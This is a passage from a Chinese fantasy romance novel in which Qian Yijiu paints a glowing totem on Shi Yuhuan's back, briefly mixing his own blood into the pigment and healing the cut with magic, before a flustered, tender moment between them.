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高是多高呢?”时予欢充满好奇,“能带着我飞出山谷吗?”
千亦久回答:“能带你飞出山谷。”
顿了一刹,他慢慢描述着:“它能带你飞到任何地方去,它能飞得很久很久,也能飞得很远很远。”
听上去,像在描述一个久远过往的开篇。
“它能带着你,从时间的这一头,飞到时间的那一头。”
时予欢双手托着下巴,眸中露出纯粹的向往:“真好啊,我也想体验一下飞翔的感觉,要是我手上也能生出羽毛就好了。”
千亦久淡淡地纠正她:“翅膀可不是手上长羽毛。”他静了静,似乎在寻找合适的描述,“是在……这儿,羽翼的根部长在这个位置。”
他停下手中的笔,指尖,在微凉的空气中,轻轻点在她后背两侧蝴蝶骨的位置。
“人类是没有翅膀的,有翅膀的不叫人类,那叫怪物。”
他的指尖从她的背上移开,一时间停下了绘身的动作。
时予欢有点儿想回头,但忍住了:“是画好了吗?”
千亦久的声音从画案方向传来,有些低沉:“在调色。”
时予欢略感震惊,一时不知道该感慨“你居然还会调色?”,还是该大喊“你一个初学者你调什么色!你不怕翻车吗!”。
斟酌了又斟酌,时予欢试探着问:“原来的胭脂不好吗?”
“一般。”千亦久平静道,“我只是觉得你买回来的那种胭脂色不太好看。”
话音落下,画案那边传来极轻微的动静。时予欢无法回头,只听见他似乎拿起了什么,下一刻,一声极轻的,仿佛利刃划开空气的细微声响传来。
千亦久站在画案前,用那柄调制颜料的小银刀,在自己掌心极快地,随意地一划。
殷红血珠瞬间沁出,如同红宝石落下,滴滴答答落进用来盛颜料的干净漆碟中。
他面不改色地看着自己迅速渗血的掌心,另一只手的指尖泛起冰蓝流光,在伤口上轻轻一抹,原本那道长细割痕便以肉眼可见的速度愈合了。
他重新执笔,蘸了红色,再次俯身,笔尖落回时予欢的背上。
最后一笔古老的图纹收尾,笔锋提起的刹那,她背脊上这幅以素白为底,蓝金勾勒的图腾,倏然流光一层极淡的,转瞬既逝的微光。
她看不见,也不知道。
“好了。”他搁下笔,声音如常。
听见“好了”二字的时予欢如蒙大赦,下意识就想起身活动一下有些僵直的腰背——可她忘了,宋抹背后的系带还没系上,这一猛然起身……
“呀!”时予欢惊呼一声,手忙脚乱地捂紧了宋抹,不过还好,宋抹的前面足够严实,她什么都没露。
但这并不妨碍她几乎条件反射般转身,踮起脚尖,迅速抬手,精准且敏捷地捂住千亦久的眼睛。
“不许看!”
千亦久的眼睫很长,纤长而浓密,轻轻一颤,就像鸟羽一样,在她掌心带来一阵细微的,令人心尖发颤的痒意。
他似乎因突如其来的“袭击”而怔了一刹,没有任何动作。
紧接着,时予欢听见,眼前被她捂住眼睛的人,喉结几不可察地上下滑动了一下,带出一声极轻,极短促,却了然而无可奈何的笑意。
他低笑了一声。